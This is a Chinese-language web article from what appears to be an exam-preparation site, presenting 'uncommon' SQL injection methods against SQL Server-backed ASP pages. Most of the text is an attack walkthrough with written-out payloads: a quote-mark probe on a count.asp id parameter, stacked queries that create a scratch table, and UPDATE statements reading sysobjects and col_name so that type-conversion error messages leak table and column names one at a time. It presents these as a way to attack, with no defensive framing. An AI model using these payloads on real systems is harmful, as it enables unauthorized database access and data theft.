SQLSERVER数据库脚本注入的不常见方法概括

来源:计算机等级考试    发布时间:2012-08-27    计算机等级考试视频    评论

  关于文章的系统原理,全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。下面会着重介绍一下SQL SERVER 数据库脚本注入的不常见的一些方法。

攻击方法: 查看源文件/看里面是否有通过JS来调用的页面。如调用来更新文章的浏览次数。

我们就可以这样来试一下可否注入: http://服务器域名/count.asp?id=1552’

看一下是否出错。如出错说明有注入漏洞。然后正常攻击。

在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)

post.htm内容:主要是方便输入。

对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER

对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--

然后插入一条记录:id=1552;insert into aaa values(’test’);--

再之后枚举出他的数据表名:

  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--这是将第一个表名更新到aaa的字段处。id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。/search.asp,行21其中vote就是表名:也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--然后id=1552 and exists(select * from aaa where aaa>5)读出第二个表,^^^^^^一个个的读出,直到没有为止。读字段是这样:id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名……类推

  编辑特别推荐:

  ·讲解SQL的三个主要语句及一点技巧

视频学习

我考网版权与免责声明

① 凡本网注明稿件来源为"原创"的所有文字、图片和音视频稿件,版权均属本网所有。任何媒体、网站或个人转载、链接转贴或以其他方式复制发表时必须注明"稿件来源:我考网",违者本网将依法追究责任;

② 本网部分稿件来源于网络,任何单位或个人认为我考网发布的内容可能涉嫌侵犯其合法权益,应该及时向我考网书面反馈,并提供身份证明、权属证明及详细侵权情况证明,我考网在收到上述法律文件后,将会尽快移除被控侵权内容。

最近更新

社区交流

考试问答